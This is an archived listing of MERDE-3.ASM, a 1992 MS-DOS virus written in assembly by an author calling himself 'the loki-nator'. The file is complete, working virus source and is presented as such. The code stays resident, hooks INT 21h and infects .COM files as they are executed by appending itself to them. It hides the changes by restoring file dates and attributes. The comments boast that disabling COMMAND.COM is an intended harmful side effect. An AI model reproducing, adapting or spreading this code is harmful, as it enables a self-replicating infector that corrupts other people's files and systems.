home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / MERDE-3.ASM < prev    next >
Assembly Source File  |  1992-06-11  |  7KB  |  405 lines

  1. ;  MERDE-3:   A resident, non-overwriting .Com infector by the loki-nator
  2.  
  3. ;Well, here it is, for what it's worth..  It is really kind of a 
  4. ;piece of crap, but it is just a rough draft..
  5. ;NOTES:
  6. ;  If this gets into Command.Com, it (command) won't work for unknown reasons..
  7. ;  I could have fixed it by just checking to make sure the file it is infecting
  8. ;  isn't command.com, but I decided that this would be it's harmful side effect
  9. ;  and left it...  I will have to fix several things in it, like its memory 
  10. ;  handling, etc... It only infects files when they are loaded for EXECUTION!
  11. ;  it won't infect .com files loaded by debug via AX=4b03, or al=anything
  12. ;  except 00.... Also, it hooks int 71 for its own type of multiplex
  13. ;  interrupt to check if the resident portion is already installed..
  14. ;  I don't know if that will get me in trouble or not.  This is not very well
  15. ;  tested, so it may hand under some circumstances or ill-behaved programs
  16. ;  that mess with the memory (like I did)...  Well, I need to add .exe 
  17. ;  infection, or I will be just a wanna-be virus writer!
  18. ;  At this very moment, I will probably modify it for infection of any function
  19. ;  that gives INT 21 a DS:DX pointer to a com file.
  20. ;  Oh, yeah- If you compile it, you have to run the included Maker.bat file
  21. ;  after you have compiled it (Use Tasm, but I guess anything will work.)
  22.  
  23. ;  Any GOOD virus writers out there will obviously notice how inefficient this
  24. ;  is, so if you do, leave me mail with some pointers....
  25.  
  26. compare_val    equ    900
  27. interrupt    equ    21h
  28. Code_seg    Segment Byte
  29.     Assume DS:Code_seg, CS:Code_seg
  30.     ORG 100h
  31. start:    mov    di,0100h            ;di=start
  32.     mov    si,bx
  33.     add    si,offset five_bytes-100h
  34.     mov    cx,5
  35.     rep    movsb
  36.     int    71h
  37.     cmp    ax,9999h
  38.     jne    okay
  39.     mov    ax,0100h
  40.     xor    si,si
  41.     xor    si,di
  42.     xor    cx,cx
  43.     jmp    ax
  44. okay:    mov    di,bx
  45.     sub    di,100h
  46.     xor    ax,ax
  47.     mov    es,ax
  48.     mov    ax,es:[interrupt*4]
  49.     mov    bx,es:[interrupt*4+2]
  50.     mov    [di+int_21_saveo],ax
  51.     mov    [di+int_21_saves],bx
  52.     push    cs
  53.     pop    es
  54.     mov    [di+orig_stackp],sp
  55.     cli
  56.     mov    sp,di
  57.     add    sp,offset my_stack
  58.     sti
  59.     push    ax
  60.     push    bx
  61.     push    cx
  62.     push    dx
  63.     push    bp
  64.     push    ds
  65.     push    es
  66.     push    si
  67.     push    di
  68.     mov    [di+my_stack_save],sp
  69.     cli
  70.     mov    sp,[di+orig_stackp]
  71.     sti                    
  72.     int    12h
  73.     mov    bx,cs
  74.     mov    cx,1024
  75.     mul    cx    
  76.     clc
  77.     mov    cx,400h
  78.     sub    ax,cx
  79.     sbb    dx,0000            ;dx:ax=where we want this mem to end!
  80.     mov    [di+high_ram],dx
  81.     mov    [di+low_ram],ax
  82. here:    mov    cx,cs
  83.     mov    ax,0010h
  84.     mul    cx
  85.     clc
  86.     mov    cx,di
  87.     add    cx,offset ending
  88.     add    ax,cx
  89.     adc    dx,0000
  90.     clc
  91.     sub    [di+low_ram],ax
  92.     sbb    [di+high_ram],dx
  93.     clc
  94.     mov    ax,[di+low_ram]
  95.     mov    dx,[di+high_ram]
  96.     mov    cx,0010h
  97.     div    cx        ;dx:ax=memory above this-divide it by 16
  98.     mov    bx,ax
  99.     mov    ah,4ah
  100.     int    21h
  101.     jnc    okay_1
  102.     jmp    get_out
  103. okay_1:    mov    ah,48h
  104.     mov    bx,60h
  105.     int    21h
  106.     mov    [my_segment+di],ax
  107.     jnc    okay_2
  108.     jmp    get_out
  109. okay_2:    push    di
  110.     xor    di,di
  111.     xor    si,si
  112.     mov    es,ax
  113.     mov    cx,100h
  114.     rep    movsb
  115.     pop    si
  116.     push    si
  117.     add    si,100h
  118.     mov    cx,offset ending-100h
  119.     rep    movsb
  120.     pop    di
  121.     mov    dx,es
  122.     sub    dx,1
  123.     mov    es,dx
  124.     mov    es:[1],ax
  125.     mov    byte ptr es:[0],'Z'
  126.     mov    word ptr es:[3],0000
  127.     mov    es,ax
  128.     mov    es:[16h],ds
  129.     mov    ax,offset return_to_file
  130.     add    ax,di
  131.     mov    es:[0ah],ax
  132.     mov    es:[0ch],ds
  133.     mov    ah,50h
  134.     mov    bx,es
  135.     int    21h
  136.     mov    dx,600h
  137.     mov    ax,es
  138.     mov    ds,ax
  139.     mov    es,ax
  140.     push    cs
  141.     pop    ss
  142.     mov    word ptr cs:[return_to_file+di+1],di
  143.     mov    sp,600h
  144.     int    27h
  145. return_to_file:
  146.     mov    di,0000
  147.     xor    ax,ax
  148.     mov    es,ax
  149.     mov    bx,offset my_21
  150.     mov    ax,cs:[di+my_segment]
  151.     mov    word ptr es:[interrupt*4],bx
  152.     mov    word ptr es:[interrupt*4+2],ax
  153.     mov    word ptr es:[71h*4+2],ax
  154.     mov    bx,offset my_71    
  155.     mov    word ptr es:[71h*4],bx
  156.     mov    ax,cs
  157.     cli
  158.     mov    ss,ax
  159.     mov    sp,cs:[my_stack_save+di]
  160.     sti
  161.     pop    di
  162.     pop    si
  163.     pop    es
  164.     pop    ds
  165.     pop    bp
  166.     pop    dx
  167.     pop    cx
  168.     pop    bx
  169.     pop    ax
  170.     cli
  171.     mov    sp,cs:[di+orig_stackp]
  172.     sti
  173.     mov    ax,0100h
  174.     jmp    ax
  175. get_out:
  176.     mov    ax,cs
  177.     cli
  178.     mov    ss,ax
  179.     mov    sp,cs:[di+my_stack_save]
  180.     sti
  181.     pop    di
  182.     pop    si
  183.     pop    es
  184.     pop    ds
  185.     pop    bp
  186.     pop    dx
  187.     pop    cx
  188.     pop    bx
  189.     pop    ax
  190.     cli
  191.     mov    sp,cs:[di+orig_stackp]
  192.     sti
  193.     mov    ax,0100h
  194.     jmp    ax    
  195.  
  196.  
  197. ;------------------------------------------------------------------
  198.  
  199. my_21:    
  200.     cmp    ah,4bh
  201.     je    continue_with_it
  202.     jmp    continue_21
  203. continue_with_it:
  204.     cmp    al,00
  205.     je    okay_go
  206.     jmp    continue_21
  207. okay_go:
  208.     push    ax
  209.     push    bx
  210.     push    cx
  211.     push    dx
  212.     push    es
  213.     push    di
  214.     push    si
  215.     push    bp
  216.     push    es
  217.     push    ds
  218. check_file:
  219.     mov    bx,dx
  220.     xor    si,si
  221. looper:    
  222.     cmp    byte ptr ds:[bx+si],'.'
  223.     je    check_com
  224.     cmp    si,35
  225.     jle    okay5
  226.     jmp    give_up1
  227. okay5:    inc    si
  228.     jmp    looper
  229. check_com:
  230.     inc    si
  231.     cmp    byte ptr ds:[bx+si],'c'
  232.     je    check_for_infection
  233.     cmp    byte ptr ds:[bx+si],'C'
  234.     je    check_for_infection
  235.     jmp    give_up1
  236. check_for_infection:
  237.     mov    cs:[high_file],ds
  238.     mov    cs:[low_file],dx
  239.     mov    ah,50h        ;set PSP to ours
  240.     push    cs
  241.     pop    bx
  242.     call    dos_21
  243.     mov    ah,43h
  244.     xor    al,al
  245.     call    dos_21
  246.     jnc    okay9
  247.     jmp    give_up
  248. okay9:    mov    cs:[attrib],cx
  249.     mov    ah,43h
  250.     mov    al,1
  251.     xor    cx,cx
  252.     call    dos_21
  253.     mov    ah,3dh
  254.     mov    al,2
  255.     call    dos_21
  256.     jnc    okay10
  257.     jmp    give_up
  258. okay10:    mov    cs:[handle],ax
  259.     mov    bx,ax
  260.     mov    ah,57h
  261.     xor    al,al
  262.     call    dos_21
  263.     mov    cs:[date],dx
  264.     mov    cs:[time],cx
  265.     mov    al,2
  266.     mov    ah,42h
  267.     xor    dx,dx
  268.     xor    cx,cx
  269.     call    dos_21
  270.     jnc    okay11
  271.     jmp    give_up
  272. okay11:    cmp    dx,0
  273.     je    okay12
  274.     jmp    give_up
  275. okay12:    mov    cs:[file_size],ax
  276.     cmp    ax,64000
  277.     jb    contin1
  278.     call    reset_all
  279.     jmp    give_up
  280. contin1:
  281.     cmp    ax,1024
  282.     jnb    contin2
  283.     call    reset_all
  284.     jmp    give_up
  285. contin2:
  286.     sub    ax,compare_val
  287.     mov    dx,ax
  288.     xor    cx,cx
  289.     mov    ah,42h
  290.     xor    al,al
  291.     mov    bx,cs:[handle]
  292.     call    dos_21
  293.     mov    ah,3fh
  294.     push    cs
  295.     pop    ds
  296.     mov    dx,offset buffer
  297.     mov    cx,2
  298.     call    dos_21
  299.     mov    ax,word ptr cs:[buffer]
  300.     mov    bx,word ptr cs:[offset ending-compare_val]
  301.     cmp    ax,bx
  302.     jne    infect_it
  303.     call    reset_all
  304.     jmp    give_up
  305. infect_it:
  306.     xor    cx,cx
  307.     xor    dx,dx
  308.     mov    bx,cs:[handle]
  309.     mov    ax,4200h
  310.     call    dos_21
  311.     mov    ah,3fh
  312.     mov    cx,5
  313.     push    cs
  314.     pop    ds
  315.     mov    dx,offset five_bytes
  316.     call    dos_21
  317.     mov    ax,4202h
  318.     xor    cx,cx
  319.     xor    dx,dx
  320.     call    dos_21
  321.     mov    ax,cs:[file_size]
  322.     add    ax,100h
  323.     mov    word ptr cs:[jumper+1],ax
  324.     mov    ah,40h
  325.     mov    cx,offset ending-100h
  326.     mov    dx,0100h
  327.     call    dos_21
  328.     xor    cx,cx
  329.     xor    dx,dx
  330.     mov    ax,4200h
  331.     mov    bx,cs:[handle]
  332.     call    dos_21
  333.     mov    dx,offset jumper
  334.     mov    ah,40h
  335.     mov    cx,5
  336.     call    dos_21
  337.     call    reset_all        
  338. give_up:
  339.     mov    ah,50h
  340.     mov    bx,cs:[high_file]
  341.     call    dos_21
  342. give_up1:
  343.     pop    ds
  344.     pop    es
  345.     pop    bp
  346.     pop    si
  347.     pop    di
  348.     pop    es
  349.     pop    dx
  350.     pop    cx
  351.     pop    bx
  352.     pop    ax
  353.     jmp    continue_21
  354. continue_21:
  355.     jmp    dword ptr cs:[int_21_saveo]
  356. dos_21:
  357.     pushf
  358.     call    dword ptr cs:[int_21_saveo]
  359.     ret
  360.  
  361. reset_all:
  362.     mov    bx,cs:[handle]
  363.     mov    cx,cs:[time]
  364.     mov    dx,cs:[date]
  365.     mov    ax,5701h
  366.     call    dos_21
  367.     mov    ah,3eh
  368.     mov    bx,cs:[handle]
  369.     call    dos_21
  370.     mov    ah,43h
  371.     mov    al,1
  372.     mov    cx,cs:[attrib]
  373.     mov    ds,cs:[high_file]
  374.     mov    dx,cs:[low_file]
  375.     call    dos_21
  376.     ret    
  377. my_71:
  378.     mov    ax,9999h
  379.     iret
  380. dw    44 dup(00)
  381. my_stack:
  382. jumper:        mov    bx,0000
  383.         jmp    bx
  384. file_size    dw    0000
  385. high_file    dw    0000
  386. low_file    dw    0000
  387. handle        dw    0000
  388. attrib        dw    0000
  389. date        dw    0000
  390. time        dw    0000
  391. int_21_saveo    dw    0000
  392. int_21_saves    dw    0000
  393. orig_stackp    dw    0000
  394. my_stack_save    dw    0000
  395. high_ram    dw    0000
  396. low_ram        dw    0000
  397. my_segment    dw    0000
  398. buffer:        db    10 dup(00)
  399. five_bytes:    db    0cdh,20h,90h,90h,90h
  400. my_little_message_to_the_world:
  401.  
  402.     db    'Scan me, I LIKE IT!!!!-Loki-nator!'
  403. ending:
  404. Code_seg     ENDS
  405. END    start